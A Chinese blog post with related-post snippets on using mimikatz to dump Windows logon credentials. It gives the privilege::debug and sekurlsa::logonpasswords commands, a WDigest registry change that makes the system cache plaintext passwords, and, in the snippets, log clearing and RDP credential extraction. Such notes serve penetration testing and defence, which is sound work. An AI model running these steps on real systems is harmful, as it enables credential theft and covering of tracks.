mimikatz使用

于 2023-09-07 09:42:16 发布
阅读量181 收藏 1
点赞数 1
文章标签： 服务器 运维
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_45711054/article/details/132730957
版权

mimikatz.exe
privilege::debug
sekurlsa::logonpasswords full

2.0版本

第一条：privilege::debug

//提升权限

第二条：sekurlsa::logonpasswords

//抓取密码

默认配置是抓不到明文密码了，神器mimikatz显示Password为null

需要HKLM:\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest的"UseLogonCredential"设置为1，类型为DWORD 32才可以，然后下次用户再登录，就能记录到明文密码了。

夜雨清城丶
关注
  • 1
    点赞
  • 踩
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
Mimikatz获取系统密码攻防研究
weixin_44023460的博客
06-23 4385
Mimikatz是法国人benjamin开发的一款功能强大的轻量级调试工具，本意是用来个人测试，但由于其功能强大，能够直接读取WindowsXP-2012等操作系统的明文密码而闻名于渗透测试，可以说是渗透必备工具，从早期1.0版本到现在的2.1.1 20180205版本，其功能得到了很大的提升和扩展。Mimikatz最新版本一共三个文件（mimilib.dll、mimikatz.exe、mimidrv.sys），分为Win32位（多了一个mimilove.exe文件）和X64位。通过它们可以提升进程权限、注
mimikatz直接抓密码.zip
03-23
mimikatz直接抓密码.zip仅供学习使用，请勿用于非法活动
11--使用 mimikatz 提取 windows凭据的密码
SunShine
06-28 3万+
mimikatz一.mimikatz简介  是法国人Gentil Kiwi编写的一款windows平台下的神器，它具备很多功能，其中最亮的功能是直接从 lsass.exe 进程里获取windows处于active状态账号的明文密码。mimikatz的功能不仅如此，它还可以提升进程权限，注入进程，读取进程内存等等，mimikatz包含了很多本地模块，更像是一个轻量级的调试器。作者主页：http://...
mimikatz的原理，哪个补丁导致了mimikatz无法获取明文密码，如何绕过?
Ping_Pig的博客
11-10 3496
讲在前面： 对于mimikatz的原理本文只通过简单的话语表述，并在文章后给出分析的思路和参考文章。对于绕过补丁，本文只对KB2871997补丁做阐述，并且犹豫对mimikatz的介绍文章非常之多，所以本文只取重点罗列，让读者能够简单快速的明白关键点，深入理解在文章后给出分析思路和参考文章。 mimikazt的原理 注意：本文对mimikatz获取lsass.exe进程中明文密码的原理做简单描述。 开发语言：C/C++。 开发初衷：深入学习Windows系统以及C/C++语言。 获取明文密码：
Mimikatz 非官方指南和命令参考_Part3
weixin_34194359的博客
03-08 541
Her0in · 2016/02/17 10:21原文地址：adsecurity.org/?page_id=18…原文作者：Sean Metcalf译者注：由于原文中，作者（Sean Metcalf）已经明确的指出 “未经本文作者明确的书面同意，请勿复制包含在此页面的全部或部分内容。”，因此为了分享此佳作，译者与作者（Sean Metcalf）在推上取得了联系，沟通之后，作者允许我将此文完整翻译并...
msf 使用mimikatz获取明文密码过程中报错Retrieving wdigest credentials
sweelg的博客
06-02 1349
当我们用meterpreter提权成功之后
【问题记录】防止mimikatz获取到明文密码
weixin_43376075的博客
10-19 894
个人笔记-问题记录-mimikatz
查看Windows凭据和普通凭据的密码（查看Windows中存储的密码）——mimikatz
热门推荐
一碗单炒饭的专栏
02-10 5万+
使用mimikatz进行Windows中存储的密码查看 查看Windows为你管理的凭据 路径：控制面板\所有控制面板项\凭据管理器 软件下载 https://github.com/gentilkiwi/mimikatz/releases 下载完成后，以管理员方式运行mimikatz 查看Windows凭据 输入下方两个指令(#号后面的) mimikatz # privilege::debug...
在Win10系统中用mimikatz抓取明文密码
weixin_42558965的博客
03-22 4050
实验环境 ：Windows10专业版 参考了网上的方法，发现大部分都是抄的 https://blog.csdn.net/netsec_steven/article/details/107257325 这一篇文章，都被转烂了，这一篇文章是对的，但是路径上还是有点小问题的，原因是原作者跳了一个步骤 这个步骤是：在注册表HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest下新建一个名为UseLogonCredential的DWORD值，并且
mimikatz
子曰小玖的博客
04-29 1114
mimikatz mimikatzis a tool I've made to learnCand make somes experiments with Windows security. It's now well known to extract plaintexts passwords, hash, PIN code and kerberos tickets from memor...
mimikatz抓取密码实战
weixin_51692662的博客
11-20 1029
内网、mimikatz、安全
SharpDPAPI：SharpDPAPI是某些Mimikatz DPAPI功能的C＃端口
02-26
夏普DPAPI 是的项目中某些DPAPI功能的C＃端口。 我没有提出这个逻辑，它只是Mimikatz的一个端口，目的是为了更好地了解流程并对其进行操作以适合我们的工作流程。 子项目是和特别是他的的工作的改编。 但是，此版本的SharpChrome使用支持的的不同版本。 由于使用SQLite库的大小，SharpChrome在SharpDPAPI中作为一个单独的项目构建。 可以使用SharpChrome对Chrome和基于Chromium的新型Edge浏览器进行分类。 SharpChrome还使用了根据MIT许可发布的的最小版本。 如果您不熟悉DPAPI， 以获取更多背景信息。 有关DPAPI的凭证和保险库的更多信息，请查看Benjamin 的 是此端口的主要作者。 SharpDPAPI已获得BSD 3-条款许可。 目录 背景 SharpDPAPI命令行用法 __
[后渗透]Mimikatz使用大全1
08-03
1.1 本地执行 3.1 域控本地读取 3.2 导出域成员 Hash 3.3 secretsdump 脚本直接导出域 hash 4.1 工作组环境 4.2 域环
mimikatz.rar
07-08
mimikatz 是一款windows平台下的神器,它具备很多功能,我认为最牛逼的是lsass.exe进程中获取windows的账号明文密码,当然他的其他功能也很强大。
mimikatz-master源码
07-22
mimikatz-master
mimikatz获取系统密码
03-28
获取系统级别密码
mimikatz最新版本
11-20
mimikatz最新版本 嗅探hash
利用mimikatz破解远程终端凭据，获取服务器密码
weixin_33919950的博客
06-04 1149
测试环境：windows 10 道友们应该碰到过管理在本地保存远程终端的凭据，凭据里躺着诱人的胴体(服务器密码)，早已让我们的XX饥渴难耐了。但是，胴体却裹了一身道袍(加密)，待老衲操起法器将其宽衣解带。 0x01凭据管理器中查看Windows凭据： TERMSRV/1xx.xxx.xxx.xx2 可通过命令行获取，执行:cmdkey /list 注意:该命令务必...
内网渗透:利用mimikatz查看rdp/3389连接密码
weixin_45612728的博客
01-29 3349
在做内网渗透的时候,往往有的时候如果能得到远程的rdp连接密码,做起横向渗透或者纵向渗透更加容易拿到shell.rdp的密码为什么会被保存起来呢?是因为管理员的在连接的时候对信息凭据进行保存,所以会保存到本地的计算机当中,从而我们可以使用minikatz来进行读取密码的信息. 首先使用cmdkey /list来查看是否有保存的凭据密码信息. 2.使用命令:dir /a %userprofile%\AppData\Local\Microsoft\Credentials* 来查看保存凭据的目录和凭据的值.
kali 中mimikatz使用教程
最新发布
06-28
### 回答1： 这是一个对于使用 Mimikatz 工具的教程。 Mimikatz 是一个开发者用来获取 Windows 认证凭证的工具，它可以解密 Windows 存储的密码，甚至可以获取经过 NTLM 身份验证的密码。 但请注意，使用这个工具可能会涉及到违法行为，请使用时慎重考虑。 ### 回答2： Mimikatz是一款用于提取Windows凭证的工具，它可以用来获取本地Windows用户和域用户的密码、NTLM哈希值和明文密码。本文将介绍如何通过Kali中的Mimikatz工具来实现提取凭证的操作。 1. 安装Mimikatz Mimikatz是Kali自带的工具，在终端中输入以下命令即可安装： ``` apt-get install mimikatz ``` 2. 运行Mimikatz 进入终端，输入以下命令来运行Mimikatz： ``` mimikatz ``` 如果你使用的是64位版本的系统，你还需要输入以下命令： ``` mimikatz # privilege::debug ``` 这个命令会给你的用户添加更多的访问权限，也就是所谓的debug权限。 3. 提取凭证 接下来，你可以通过以下命令来提取凭证： ``` mimikatz # sekurlsa::logonpasswords ``` 这个命令会输出本地计算机上所有用户的明文密码和NTLM哈希值。 如果你想获取域用户的凭证，可以使用以下命令： ``` mimikatz # sekurlsa::logonpasswords full ``` 这个命令会输出域控制器上所有域用户的明文密码和NTLM哈希值。 4. 清除日志和关闭Mimikatz 运行Mimikatz时默认会生成一些日志文件。如果你不希望这些日志留在计算机上，可以使用以下命令来清除日志： ``` mimikatz # log::clear ``` 最后，输入以下命令来关闭Mimikatz： ``` mimikatz # exit ``` 以上就是通过Kali中的Mimikatz工具来实现提取凭证的操作的详细教程。需要注意的是，Mimikatz是一款非常强大的工具，使用时请谨慎，避免造成不必要的损失。 ### 回答3： Kali是一个开源免费的渗透测试操作系统，而mimikatz是一个密码破解工具，常被黑客用于窃取用户密码，因此Kali与mimikatz结合使用可以进行密码破解和渗透测试。 首先，在Kali中下载安装mimikatz。打开终端，输入以下命令： git clone https://github.com/gentilkiwi/mimikatz.git 然后，进入mimikatz文件夹，编译mimikatz工具： cd mimikatz make 编译完成后，输入以下命令即可使用mimikatz： ./mimikatz 接下来，使用privilege模块提升权限： privilege::debug 然后，使用sekurlsa模块获取系统的登录凭据： sekurlsa::logonpasswords 最后，我们可以通过导出文件的方式保存密码信息，输入以下命令： sekurlsa::logonpasswords full log sekurlsa.log 这样就完成了在Kali中使用mimikatz的教程。需要注意的是，这种密码破解和窃取方法是非法的，只能在授权的渗透测试环境中使用。在实际的工作中，我们要始终遵循合法合规的原则，做好安全防护和风险评估工作，确保系统和数据的安全。

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值